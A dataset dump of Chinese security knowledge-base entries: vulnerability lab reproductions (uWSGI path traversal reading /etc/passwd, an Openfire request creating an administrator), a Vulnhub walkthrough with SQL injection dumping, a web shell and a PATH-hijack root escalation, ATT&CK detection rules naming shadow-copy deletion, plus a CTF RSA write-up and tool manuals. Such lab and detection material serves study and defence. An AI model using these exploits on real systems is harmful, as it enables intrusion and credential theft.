text
stringlengths
100
9.93M
category
stringclasses
11 values
# ModSecurity --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** ModSecurity 是一款开源的跨平台 Web 应用程序防火墙(WAF)引擎,用于 Apache,IIS 和 Nginx,由 Trustwave 的 SpiderLabs 开发。作为 WAF 产品,ModSecurity 专门关注 HTTP 流量,当发出 HTTP 请求时,ModSecurity 检查请求的所有部分,如果请求是恶意的,它会被阻止和记录。 **项目地址** - https://github.com/SpiderLabs/ModSecurity - https://github.com/SpiderLabs/ModSecurity-nginx **相关文章** - [如何打造好用的ModSecurity系列 Part 1](https://forum.butian.net/share/258) - [如何打造好用的ModSecurity系列 Part 2](https://forum.butian.net/share/300) - [如何打造好用的ModSecurity系列 Part 3](https://forum.butian.net/share/581) **waf规则** - [coreruleset/coreruleset](https://github.com/coreruleset/coreruleset) - OWASP ModSecurity Core Rule Set (Official Repository) **规则语法手册** - [ModSecurity中文手册](http://www.modsecurity.cn/chm/index.html) **元规则拼接器** - https://coreruleset.org/docs/development/regexp_assemble/ - 将多条正则拼接
sec-knowleage
# uWSGI PHP目录穿越漏洞(CVE-2018-7490) uWSGI是一款Web应用程序服务器,它实现了WSGI、uwsgi和http等协议,并支持通过插件来运行各种语言。 uWSGI 2.0.17之前的PHP插件,没有正确的处理`DOCUMENT_ROOT`检测,导致用户可以通过`..%2f`来跨越目录,读取或运行`DOCUMENT_ROOT`目录以外的文件。 ## 漏洞环境 运行存在漏洞的uWSGI服务器: ``` docker compose up -d ``` 运行完成后,访问`http://your-ip:8080/`即可看到phpinfo信息,说明uwsgi-php服务器已成功运行。 ## 漏洞复现 访问`http://your-ip:8080/..%2f..%2f..%2f..%2f..%2fetc/passwd`,成功读取文件: ![](1.png)
sec-knowleage
# Openfire Admin Console Authentication Bypass (CVE-2023-32315) [中文版本(Chinese version)](README.zh-cn.md) Openfire is a real time collaboration (RTC) server licensed under the Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). In the version prior to 4.7.4 and 4.6.7, Openfire's administrative console (the Admin Console), a web-based application, was found to be vulnerable to a path traversal attack via the setup environment. This permitted an unauthenticated user to use the unauthenticated Openfire Setup Environment in an already configured Openfire environment to access restricted pages in the Openfire Admin Console reserved for administrative users. References: - <https://github.com/igniterealtime/Openfire/security/advisories/GHSA-gw42-f939-fhvm> - <https://mp.weixin.qq.com/s/EzfB8CM4y4aNtKFJqSOM1w> ## Vulnerable Environment Execute following command to start a Openfire server 4.7.4: ``` docker compose up -d ``` After the server is started, open the link `http://your-ip:9090` then you will be redirected to login page if you don't have the authentication. ## Exploit More than a decade ago, an path traversal issue was found in Openfire admin console, CVE-2008-6508. Attackers are able to use the `/setup/setup-/../../[page].jsp` to bypass the authentication checks and visit arbitratry page without knowning the admin username and password. Since then the path traversal protections were already in place to protect against exactly this kind of attack. A later upgrade of the embedded webserver included support for non-standard URL encoding of UTF-16 characters. The path traversal protections in place in Openfire were not updated to include protection against this new encoding. So attackers are able to use the `/setup/setup-/%u002e%u002e/%u002e%u002e/[page].jsp` to bypass the path traversal protection again. To exploit this issue, the first step is to create a new administrator through following request: ``` GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=csrftoken&username=hackme&name=&email=&password=hackme&passwordConfirm=hackme&isadmin=on&create=Create+User HTTP/1.1 Host: localhost:9090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.91 Safari/537.36 Connection: close Cache-Control: max-age=0 Cookie: csrf=csrftoken ``` Although an exception is raised in response but an account with both username and password "hackme" is created. ![](1.png) Then log in to the admin console with this account, and you can see that `hackme` is already an administrator. ![](2.png)
sec-knowleage
magic = [98,32,84,253,217,18,92,22,112,138,147,46,168,229,31,149,72,94,191,124,21,176,10,104,154,213,235,25,237,61,18,15] target = [3**i for i in range(32)] def solve(t): v2 = 1 v3 = 1 v4 = 1 for i in range(t): v5 = (2*v2 + v3 + 7*v4) % 31337 v4 = v3 v3 = v2 v2 = v5 print(v2, v3, v4) return v2 def powmod(mat, n): if n == 1: return mat half = powmod(mat, n//2) full = np.matmul(half, half) if n&1: full = np.matmul(full, mat) return full % 31337 import numpy as np mat = np.array([[2, 1, 7], [1, 0, 0], [0, 1, 0]]) vals = np.array([1, 1, 1]) for t in range(1, 10): print("Naive:", solve(t)) print("Clever:", np.matmul(powmod(mat, t), vals)) flag = "" for m, t in zip(magic, target): #c = solve(t) ^ m c = (np.matmul(powmod(mat, t), vals)[0]%31337) ^ m flag += chr(c&0xff) print(flag)
sec-knowleage
# Healthcare 1 > https://download.vulnhub.com/healthcare/Healthcare.ova 靶场IP:`192.168.32.221` 扫描对外端口服务 ``` ┌──(root💀kali)-[/tmp] └─# nmap -p 1-65535 -sV 192.168.32.221 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-10 09:56 EDT Nmap scan report for 192.168.32.221 Host is up (0.00078s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.3d 80/tcp open http Apache httpd 2.2.17 ((PCLinuxOS 2011/PREFORK-1pclos2011)) MAC Address: 00:0C:29:0F:7D:F1 (VMware) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.54 seconds ``` ftp登录失败 ``` ┌──(root💀kali)-[/tmp] └─# ftp 192.168.32.221 Connected to 192.168.32.221. 220 ProFTPD 1.3.3d Server (ProFTPD Default Installation) [192.168.32.221] Name (192.168.32.221:root): anonymous 331 Password required for anonymous Password: 530 Login incorrect. Login failed. Remote system type is UNIX. Using binary mode to transfer files. ``` 浏览器访问80端口 ![image-20220910215719818](../../.gitbook/assets/image-20220910215719818.png) 爆破目录 ``` ┌──(root💀kali)-[/tmp] └─# gobuster dir -u http://192.168.32.221/ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 –e =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.32.221/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/09/10 09:58:23 Starting gobuster in directory enumeration mode =============================================================== /css (Status: 301) [Size: 341] [--> http://192.168.32.221/css/] /js (Status: 301) [Size: 340] [--> http://192.168.32.221/js/] /vendor (Status: 301) [Size: 344] [--> http://192.168.32.221/vendor/] /favicon (Status: 200) [Size: 1406] /robots (Status: 200) [Size: 620] /images (Status: 301) [Size: 344] [--> http://192.168.32.221/images/] /index (Status: 200) [Size: 5031] /fonts (Status: 301) [Size: 343] [--> http://192.168.32.221/fonts/] /gitweb (Status: 301) [Size: 344] [--> http://192.168.32.221/gitweb/] /phpMyAdmin (Status: 403) [Size: 59] /server-status (Status: 403) [Size: 1000] /server-info (Status: 403) [Size: 1000] /openemr (Status: 301) [Size: 345] [--> http://192.168.32.221/openemr/] =============================================================== 2022/09/10 10:03:30 Finished =============================================================== ``` 访问:`/openemr/` ![image-20220910220211578](../../.gitbook/assets/image-20220910220211578.png) 其中该版本有[SQL注入漏洞](https://www.netsparker.com/web-applications-advisories/sql-injection-vulnerability-in-openemr/)。 ``` sqlmap -u http://192.168.32.221/openemr/interface/login/validateUser.php?u= -D openemr -T users --dump --batch ``` ``` [10:04:34] [INFO] starting dictionary-based cracking (sha1_generic_passwd) [10:04:34] [INFO] starting 2 processes [10:04:38] [INFO] cracked password 'ackbar' for user 'admin' [10:04:47] [INFO] cracked password 'medical' for user 'medical' ``` ![image-20220910220602361](../../.gitbook/assets/image-20220910220602361.png) 使用admin登录 ![image-20220910221015106](../../.gitbook/assets/image-20220910221015106.png) 在files那里添加shell ![image-20220910221458811](../../.gitbook/assets/image-20220910221458811.png) 访问config ``` http://192.168.32.221/openemr/interface/main/main_screen.php?auth=login&site=default ``` ![image-20220910222421606](../../.gitbook/assets/image-20220910222421606.png) 现在,我们有了一个 revere shell,让我们在 python-onliner 的帮助下将它升级为一个完全交互式的 TTY shell,并进一步进行 post enumeration 以提升 root 权限。因此,首先我们以**medical:medica** l(通过 SQLi 枚举)身份登录,然后尝试使用 find 命令识别 SUID 启用二进制文件。 ``` sh-4.1$ python -c 'import pty; pty.spawn("/bin/bash")' python -c 'import pty; pty.spawn("/bin/bash")' bash-4.1$ su medical su medical Password: medical [medical@localhost /]$ [medical@localhost /]$ find / -perm -u=s -type f 2> /dev/null find / -perm -u=s -type f 2> /dev/null /usr/libexec/pt_chown /usr/lib/ssh/ssh-keysign /usr/lib/polkit-resolve-exe-helper /usr/lib/polkit-1/polkit-agent-helper-1 /usr/lib/chromium-browser/chrome-sandbox /usr/lib/polkit-grant-helper-pam /usr/lib/polkit-set-default-helper /usr/sbin/fileshareset /usr/sbin/traceroute6 /usr/sbin/usernetctl /usr/sbin/userhelper /usr/bin/crontab /usr/bin/at /usr/bin/pumount /usr/bin/batch /usr/bin/expiry /usr/bin/newgrp /usr/bin/pkexec /usr/bin/wvdial /usr/bin/pmount /usr/bin/sperl5.10.1 /usr/bin/gpgsm /usr/bin/gpasswd /usr/bin/chfn /usr/bin/su /usr/bin/passwd /usr/bin/gpg /usr/bin/healthcheck /usr/bin/Xwrapper /usr/bin/ping6 /usr/bin/chsh /lib/dbus-1/dbus-daemon-launch-helper /sbin/pam_timestamp_check /bin/ping /bin/fusermount /bin/su /bin/mount /bin/umount ``` 我们发现为 `/usr/bin/healthcheck` 启用了 SUID 位,我们使用 strings 命令进一步探索"healthcheck",我们发现它通过运行"ifconfig"和"fdisk"等命令来扫描系统: ``` [medical@localhost /]$ strings /usr/bin/healthcheck strings /usr/bin/healthcheck /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used setuid system setgid __libc_start_main GLIBC_2.0 PTRhp [^_] clear ; echo 'System Health Check' ; echo '' ; echo 'Scanning System' ; sleep 2 ; ifconfig ; fdisk -l ; du -h ``` 我们可以使用使用 PATH 变量的权限提升技术来利用系统,从**[这里](https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/)** 阅读以了解更多信息: ``` cd /tmp echo "/bin/bash" > fdisk chmod 777 fdisk export PATH="/tmp:$PATH" /usr/bin/healthcheck cd /root ls ``` ![image-20230208150005962](../../.gitbook/assets/image-20230208150005962.png)
sec-knowleage
# T1049-系统网络连接发现 ## 来自ATT&CK的描述 攻击者可能会通过查询网络上的信息来尝试获取与他们当前正在访问的受感染系统之间或从远程系统获得的网络连接的列表。 获得对基于云环境一部分的系统的访问权的攻击者可能会规划出虚拟私有云或虚拟网络,以便确定连接了哪些系统和服务。取决于操作系统,所执行的操作可能是相同类型的发现技术,但是所得信息可能包括有关与攻击者目标相关的联网云环境的详细信息。云提供商可能具有不同的虚拟网络操作方式。 ## 测试案例 ### windows 获取此信息的实用程序和命令包括netstat,“net use”和与“net session”。 ### Mac和linux 在Mac和Linux,netstat并且lsof可以用来列表当前连接。who -a并且w可以用来显示当前登录的用户,类似于“网络会话”。 ## 检测日志 windows 安全日志 linux日志 ## 测试复现 ```dos C:\Users\Administrator>netstat 活动连接 协议 本地地址 外部地址 状态 ``` ```dos C:\Users\Administrator>net use 会记录新的网络连接。 列表是空的。 ``` ```dos C:\Users\Administrator>net session 列表是空的。 ``` ## 测试留痕 windows 安全日志 linux日志 ## 检测规则/思路 ### sigma规则 ```yml title: windows 系统网络链接发现 description: windows server 2016 references: - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1049/T1049.md tags: T1049 status: experimental author: 12306Bro logsource: product: windows service: security/sysmon detection: selection1: EventID: 4688 #已创建新的进程。 Commandline: - net use - net sessions - netstat -ano selection2: keywords: - Get-NetTCPConnection #powershell condition: all of them level: medium ``` ```yml title: linux网络信息发现 description: ubuntu 18.0.4 references: - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1049/T1049.md tags: T1049 status: experimental author: 12306Bro logsource: product: linux service: security detection: selection1: keywords: - netstat - who -a condition: all of them level: medium ``` ### 建议 暂无 ## 相关TIP [[T1049-win-bloodhound使用]] ## 参考推荐 MITRE-ATT&CK-T1049 <https://attack.mitre.org/techniques/T1222/>
sec-knowleage
# 准备一台Kali 您需要一些工具来为后面的实验做准备!创建一个目录然后将这些工具放到里面,不然会很乱。我不会解释这些工具是干啥的以及怎么安装它们,因为不同的工具和程序可能会发生变化。自己谷歌,丰衣足食。 - [Impacket](https://github.com/CoreSecurity/impacket) :python的网络工具包,很有用。 - [Responder](https://github.com/lgandx/Responder):Kali中的网络请求攻击工具。 - [Empire] (https://github.com/EmpireProject/Empire):类似msf,只针对windows,使用powershell。 - [CrackMapExec] (https://github.com/byt3bl33d3r/CrackMapExec):包含SMB签名的工具包,用于横向渗透。 - [DeathStar](https://github.com/byt3bl33d3r/DeathStar) :自动化域渗透工具。 - [BloodHound ](https://github.com/BloodHoundAD/BloodHound):创建一个AD Map,分析DC。GitHub上有预编译二进制文件! - [PowerSploit](https://github.com/PowerShellMafia/PowerSploit):PowerShell的工具,用于后渗透,一些工具集成在了Empire中。 - [Mimikatz](https://github.com/gentilkiwi/mimikatz):dump凭据。 - [Neo4j](https://neo4j.com/download/) :BloodHound的数据库 其中大部分工具应该可以通过apt提供。如果没有的话,请通过`git clone`并将它们放在`/opt`目录安装。现在,您可能需要安装工具及其依赖项。其中很多是用Python编写的,所以要熟悉pip。确保使用正确的Python版本运行工具和脚本。某些工具是为2.7编写的,有些是为3.x编写的,本教程的后续部分将介绍如何使用这些工具。
sec-knowleage
# T1070-004-win-文件删除 ## 来自ATT&CK的描述 攻击者可能会删除其入侵活动所留下的文件。攻击者在系统上丢弃创建的恶意软件、工具或其他可能会留下痕迹的非本机文件。这些文件的删除可以在入侵过程中进行,也可以作为入侵后的过程中进行,以最大程度地减少攻击者留下的足迹。 主机操作系统中提供了一些工具来执行清除,但攻击者也可以使用其他工具。其中包括本机cmd函数(例如DEL),安全删除工具(例如Windows Sysinternals SDelete)或其他第三方文件删除工具。 ## 测试案例 ![sdelete](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/1424605-20200714094141181-832893720.png) ## 检测日志 windows security windows sysmon ## 测试复现 命令行工具,你需要在cmd或powershell中调用它。 ```yml 用法: sdelete [-p passes] [-r] [-s] [-q] <file or directory> [...] sdelete [-p passes] [-z|-c [percent free]] <drive letter [...]> sdelete [-p passes] [-z|-c] <physical disk number> -c 清理可用空间。 指定选项空间量 留给正在运行的系统免费使用。 -p 指定覆盖次数(默认为1) -r 删除只读属性 -s 递归子目录 -z 零可用空间(适用于虚拟磁盘优化) -nobanner 不显示启动标语和版权信息。磁盘必须没有任何卷才能被清理。 ``` ## 测试留痕 暂无 ## 检测规则/思路 在业务环境中找到与良性命令行功能(例如DEL或第三方实用程序或工具)相关的事件的情况很少见,具体取决于用户群和系统的典型使用方式。监视命令行删除功能以及相关使二进制文件,或攻击者可能会使用的删除文件进行关联,可能会帮助安全人员检测到恶意活动。另一个好的做法是监视攻击者可能会引入的企业网络中系统上尚未存在的已知删除和安全删除工具。某些监视工具可能会收集命令行参数,但可能无法捕获DEL命令,因为DEL是cmd.exe中的本机函数。 ### splunk规则 ```yml index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image IN (“*\\sdelete.exe” , “*\\vssadmin.exe” , “*\\wmic.exe” , “*\\bcdedit.exe” , “*\\wbadmin.exe”)) index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\vssadmin.exe” CommandLine=”*Delete Shadows*”) index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\wmic.exe” CommandLine=”*shadowcopy delete*”) index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\bcdedit.exe” CommandLine IN (“*bootstatuspolicy ignoreallfailures*” , “*recoveryenabled no*”)) index=windows source=”WinEventLog:Microsoft-Windows-Sysmon/Operational” (EventCode=1 Image=”*\\wbadmin.exe” (CommandLine=”*Delete*”,CommandLine=”*catalog*”)) ``` ### 建议 如果你对windows有足够多的了解,那么相信你也知道应该如何去用Windows日志进行分析此类攻击行为,比如依靠4688中的进程和命令行参数进行检测分析。 ## 参考推荐 MITRE-ATT&CK-T1070-004 <https://attack.mitre.org/techniques/T1070/004/> windows使用sdelete安全的删除文件 <https://www.cnblogs.com/douzilink/p/13297433.html>
sec-knowleage
grep === 强大的文本搜索工具 ## 补充说明 **grep** (global search regular expression(RE) and print out the line,全面搜索正则表达式并把行打印出来)是一种强大的文本搜索工具,它能使用正则表达式搜索文本,并把匹配的行打印出来。用于过滤/搜索的特定字符。可使用正则表达式能配合多种命令使用,使用上十分灵活。 ### 选项 ```shell -a --text # 不要忽略二进制数据。 -A <显示行数> --after-context=<显示行数> # 除了显示符合范本样式的那一行之外,并显示该行之后的内容。 -b --byte-offset # 在显示符合范本样式的那一行之外,并显示该行之前的内容。 -B<显示行数> --before-context=<显示行数> # 除了显示符合样式的那一行之外,并显示该行之前的内容。 -c --count # 计算符合范本样式的列数。 -C<显示行数> --context=<显示行数>或-<显示行数> # 除了显示符合范本样式的那一列之外,并显示该列之前后的内容。 -d<进行动作> --directories=<动作> # 当指定要查找的是目录而非文件时,必须使用这项参数,否则grep命令将回报信息并停止动作。 -e<范本样式> --regexp=<范本样式> # 指定字符串作为查找文件内容的范本样式。 -E --extended-regexp # 将范本样式为延伸的普通表示法来使用,意味着使用能使用扩展正则表达式。 -f<范本文件> --file=<规则文件> # 指定范本文件,其内容有一个或多个范本样式,让grep查找符合范本条件的文件内容,格式为每一列的范本样式。 -F --fixed-regexp # 将范本样式视为固定字符串的列表。 -G --basic-regexp # 将范本样式视为普通的表示法来使用。 -h --no-filename # 在显示符合范本样式的那一列之前,不标示该列所属的文件名称。 -H --with-filename # 在显示符合范本样式的那一列之前,标示该列的文件名称。 -i --ignore-case # 忽略字符大小写的差别。 -l --file-with-matches # 列出文件内容符合指定的范本样式的文件名称。 -L --files-without-match # 列出文件内容不符合指定的范本样式的文件名称。 -n --line-number # 在显示符合范本样式的那一列之前,标示出该列的编号。 -P --perl-regexp # PATTERN 是一个 Perl 正则表达式 -q --quiet或--silent # 不显示任何信息。 -R/-r --recursive # 此参数的效果和指定“-d recurse”参数相同。 -s --no-messages # 不显示错误信息。 -v --revert-match # 反转查找。 -V --version # 显示版本信息。 -w --word-regexp # 只显示全字符合的列。 -x --line-regexp # 只显示全列符合的列。 -y # 此参数效果跟“-i”相同。 -o # 只输出文件中匹配到的部分。 -m <num> --max-count=<num> # 找到num行结果后停止查找,用来限制匹配行数 ``` ### 规则表达式 ```shell ^ # 锚定行的开始 如:'^grep'匹配所有以grep开头的行。 $ # 锚定行的结束 如:'grep$' 匹配所有以grep结尾的行。 . # 匹配一个非换行符的字符 如:'gr.p'匹配gr后接一个任意字符,然后是p。 * # 匹配零个或多个先前字符 如:'*grep'匹配所有一个或多个空格后紧跟grep的行。 .* # 一起用代表任意字符。 [] # 匹配一个指定范围内的字符,如'[Gg]rep'匹配Grep和grep。 [^] # 匹配一个不在指定范围内的字符,如:'[^A-Z]rep' 匹配不包含 A-Z 中的字母开头,紧跟 rep 的行 \(..\) # 标记匹配字符,如'\(love\)',love被标记为1。 \< # 锚定单词的开始,如:'\<grep'匹配包含以grep开头的单词的行。 \> # 锚定单词的结束,如'grep\>'匹配包含以grep结尾的单词的行。 x\{m\} # 重复字符x,m次,如:'0\{5\}'匹配包含5个o的行。 x\{m,\} # 重复字符x,至少m次,如:'o\{5,\}'匹配至少有5个o的行。 x\{m,n\} # 重复字符x,至少m次,不多于n次,如:'o\{5,10\}'匹配5--10个o的行。 \w # 匹配文字和数字字符,也就是[A-Za-z0-9],如:'G\w*p'匹配以G后跟零个或多个文字或数字字符,然后是p。 \W # \w的反置形式,匹配一个或多个非单词字符,如点号句号等。 \b # 单词锁定符,如: '\bgrep\b'只匹配grep。 ``` ## grep命令常见用法 在文件中搜索一个单词,命令会返回一个包含 **“match_pattern”** 的文本行: ```shell grep match_pattern file_name grep "match_pattern" file_name ``` 在多个文件中查找: ```shell grep "match_pattern" file_1 file_2 file_3 ... ``` 输出除之外的所有行 **-v** 选项: ```shell grep -v "match_pattern" file_name ``` 标记匹配颜色 **--color=auto** 选项: ```shell grep "match_pattern" file_name --color=auto ``` 使用正则表达式 **-E** 选项: ```shell grep -E "[1-9]+" # 或 egrep "[1-9]+" ``` 使用正则表达式 **-P** 选项: ```shell grep -P "(\d{3}\-){2}\d{4}" file_name ``` 只输出文件中匹配到的部分 **-o** 选项: ```shell echo this is a test line. | grep -o -E "[a-z]+\." line. echo this is a test line. | egrep -o "[a-z]+\." line. ``` 统计文件或者文本中包含匹配字符串的行数 **-c** 选项: ```shell grep -c "text" file_name ``` 搜索命令行历史记录中 输入过 `git` 命令的记录: ```shell history | grep git ``` 输出包含匹配字符串的行数 **-n** 选项: ```shell grep "text" -n file_name # 或 cat file_name | grep "text" -n #多个文件 grep "text" -n file_1 file_2 ``` 打印样式匹配所位于的字符或字节偏移: ```shell echo gun is not unix | grep -b -o "not" 7:not #一行中字符串的字符偏移是从该行的第一个字符开始计算,起始值为0。选项 **-b -o** 一般总是配合使用。 ``` 搜索多个文件并查找匹配文本在哪些文件中: ```shell grep -l "text" file1 file2 file3... ``` ### grep递归搜索文件 在多级目录中对文本进行递归搜索: ```shell grep "text" . -r -n # .表示当前目录。 ``` 忽略匹配样式中的字符大小写: ```shell echo "hello world" | grep -i "HELLO" # hello ``` 选项 **-e** 制动多个匹配样式: ```shell echo this is a text line | grep -e "is" -e "line" -o is is line #也可以使用 **-f** 选项来匹配多个样式,在样式文件中逐行写出需要匹配的字符。 cat patfile aaa bbb echo aaa bbb ccc ddd eee | grep -f patfile -o ``` 在grep搜索结果中包括或者排除指定文件: ```shell # 只在目录中所有的.php和.html文件中递归搜索字符"main()" grep "main()" . -r --include *.{php,html} # 在搜索结果中排除所有README文件 grep "main()" . -r --exclude "README" # 在搜索结果中排除filelist文件列表里的文件 grep "main()" . -r --exclude-from filelist ``` 使用0值字节后缀的grep与xargs: ```shell # 测试文件: echo "aaa" > file1 echo "bbb" > file2 echo "aaa" > file3 grep "aaa" file* -lZ | xargs -0 rm # 执行后会删除file1和file3,grep输出用-Z选项来指定以0值字节作为终结符文件名(\0),xargs -0 读取输入并用0值字节终结符分隔文件名,然后删除匹配文件,-Z通常和-l结合使用。 ``` grep静默输出: ```shell grep -q "test" filename # 不会输出任何信息,如果命令运行成功返回0,失败则返回非0值。一般用于条件测试。 ``` 打印出匹配文本之前或者之后的行: ```shell # 显示匹配某个结果之后的3行,使用 -A 选项: seq 10 | grep "5" -A 3 5 6 7 8 # 显示匹配某个结果之前的3行,使用 -B 选项: seq 10 | grep "5" -B 3 2 3 4 5 # 显示匹配某个结果的前三行和后三行,使用 -C 选项: seq 10 | grep "5" -C 3 2 3 4 5 6 7 8 # 如果匹配结果有多个,会用“--”作为各匹配结果之间的分隔符: echo -e "a\nb\nc\na\nb\nc" | grep a -A 1 a b -- a b ```
sec-knowleage
# Baby RSA (crypto) ## ENG [PL](#pl-version) In the task we get [encrypted flag](flag.enc), [public key](pubkey) and encryption [source code](enc.rb) written in Ruby. All math code is sound and the main part is just: ```ruby p = rand(2**1024) q = 19 * p + rand(2**512) p = next_prime(p) q = next_prime(q) e = 65537 d = mod_inverse(e, (p - 1) * (q - 1)) n = (p.to_i * q.to_i) flag = File.binread('flag').unpack1("H*").to_i(16) * 256 while flag * 256 + 255 < n flag = flag * 256 + rand(256) end enc = mod_pow(flag, e, n) dec = mod_pow(enc, d, n) fail unless dec == flag File.write('pubkey', [n, e].to_json) File.write('flag.enc', enc) File.write('privkey', [n, d].to_json) ``` So it's a classic RSA encryption, just as indicated in the task name. The flag is fully padded with random bytes, the primes are large and of similar order, most likely not factorizable directly. Once we validated the math code and decided that it's ok and it doesn't help us that it uses Fermat primarity test (so `p` or `q` could be composite Carmichael numbers), the only vulnerability could be in key generation. The `N` is generated as: ```python p = rand(2**1024) q = 19 * p + rand(2**512) p = next_prime(p) q = next_prime(q) n = (p.to_i * q.to_i) ``` It's not a normal thing to derive `q` from `p`, so it might indicate some problem with this setup. If we had there `q = 19*p` it would be obviously weak, since then `N = (p+delta1)*(19*q+delta2)` where deltas are reasonably small and we could divide `N` by 19 and try to user Fermat factorization to look for the primes. But we have this `+ rand(2**512)` which seems to make it impossible to brute force. However we notice that this added rand is actually small, at least compared to the `p` and `q` which are both ~1024 bit long. Same goes for our `delta` values (coming from `.next_prime()`), they will be small as well. It means that adding such numbers will only upset lower half of the bits of `p` and `q` leaving high bits intact. This gives us an interesting property - since high bits are preserved, from high bits point of view we actually have the case `N = p*19*p`! We can do `p_approx = gmpy2.iroot(N/19)` to obtain an approximation of `p` where high bits are correct. With this setup `q_approx = p_approx * 19 + 2**512` and this is basically the upper bound for `q` (lower bound would be just `q_approx * 19`) From our local tests we can get about 515-520 bits intact this way. So we have more than N/4 of the most significant bits of one of the primes, is this enough to recover the whole prime? Let's look at this from the other side, we have value `q_approx` and we want to recover value `delta` such that `q = q_approx - delta` (or `+ delta` if we used the lower bound instead of upper bound) If we make univariate polynomial in ring modulo `N` such that `F(x) = q_approx - x` then it's clear that the `delta` we're looking for is root of this polynomial, since `q` is a factor of `N` and thus `q mod N == 0`. And the root we need is also not that big, we know it's actually the low bits of `q` we're missing, so at most `2**512`, which is less than `N/4`. We know from Coppersmith theorem that we can efficiently find small roots of such polynomial, so we proceed with sage code: ```python p_approx = isqrt(N/19) q_approx = 19*p_approx + 2**512 F.<x> = PolynomialRing(Zmod(N), implementation='NTL') f = x - q_approx d = f.small_roots(X=2**hidden, beta=0.5) ``` And this should give us the `delta` value we were looking for and recover `q`. Full solution is: ```python hidden = 512 N = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423 n = 386931010476066075837968435835568572278162262133897268076172926477773222237770106161904290022544637634198443777989318861346776496147456733417801969323559935547762053140311065149570645042679207282163944764258457818336874606186063312212223286995796662956880884390624903779609227558663952294861600483773641805524656787990883017538007871813015279849974842810524387541576499325580716200722985825884806159228713614036698970897017484020439048399276917685918470357385648137307211493845078192550112457897553375871556074252744253633037568961352527728436056302534978263323170336240030950585991108197098692769976160890567250487423 e = 65537 ct = 238128932536965734026453335534508678486770867304645614119195536048961186128744314667991999168452564298994773996973787655358503271491181214369796509942047091225518293577154563021214085132019889288510474458242494876257330038265066123460887568813277411779817556316602871932730284368524299559699693787556478631297630514938453794107136748994144175123917418701679413905695916367530746728699301383100433069740863537869450361306987480687067608102552418211244703552910903168179094472596152349098076535870469807035136435631458879919434041758274344589567529971195683495146426258135341109919085270442486183365562919531353370683625 p_approx = isqrt(N/19) q_approx = 19*p_approx + 2**512 F.<x> = PolynomialRing(Zmod(N), implementation='NTL') f = x - q_approx d = f.small_roots(X=2**hidden, beta=0.5) if d: d = d[0] print('delta',d) print('q = q_approx - delta', q_approx - d) q = q_approx - d p = int(N)/int(q) phi = (p-1)*(q-1) d = inverse_mod(int(e), int(phi)) print(hex(long(pow(ct,d,n)))[2:-1].decode("hex")) ``` Which gives us `TWCTF{secretly_cherry-blossom-viewing}` ## PL version
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "CREATE DATABASE" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands" .SH NAME CREATE DATABASE \- 创建新数据库 .SH SYNOPSIS .sp .nf CREATE DATABASE \fIname\fR [ [ WITH ] [ OWNER [=] \fIdbowner\fR ] [ LOCATION [=] '\fIdbpath\fR' ] [ TEMPLATE [=] \fItemplate\fR ] [ ENCODING [=] \fIencoding\fR ] ] .sp .fi .SH "DESCRIPTION 描述" .PP \fBCREATE DATABASE\fR 创建一个新的 PostgreSQL 数据库。 .PP 要创建一个数据库,你必须是一个超级用户或者有特殊的 CREATEDB 权限。 参阅 CREATE USER [\fBcreate_user\fR(7)]。 .PP 通常,创建者成为新数据库的管理员。 超级用户可以用 OWNER 子句创建其它用户所有的数据库。 他们甚至可以创建没有特殊权限的用户所有的数据库。 有CREATEDB权限的非超级用户使用只能创建自己使用的数据库。 .PP 可以声明一个可选的数据库位置,例如,在另一块硬盘上存放数据库。 该路径必须是事先用 initlocation[\fBinitlocation\fR(1)] 命令准备好了的。 .PP 如果路径名不包含斜杠,那么它被解释成一个环境变量, 该变量必须为服务进程所知。这样数据库管理员 可以对能够在那里创建数据库进行控制。(例如,一个用户化的选择是 'PGDATA2'。)如果服务器带着 ALLOW_ABSOLUTE_DBPATHS (缺省时没有)选项编译, 那么也允许使用以斜杠开头为标识的绝对路径(例如, ' '/usr/local/pgsql/data')。 In either case, the final path name must be absolute and must not contain any single quotes. .PP 缺省时,新数据库将通过克隆标准系统数据库 template1 来创建。不同的模板可以用 TEMPLATE = name 来写。尤其是,如果你用 TEMPLATE = template0, 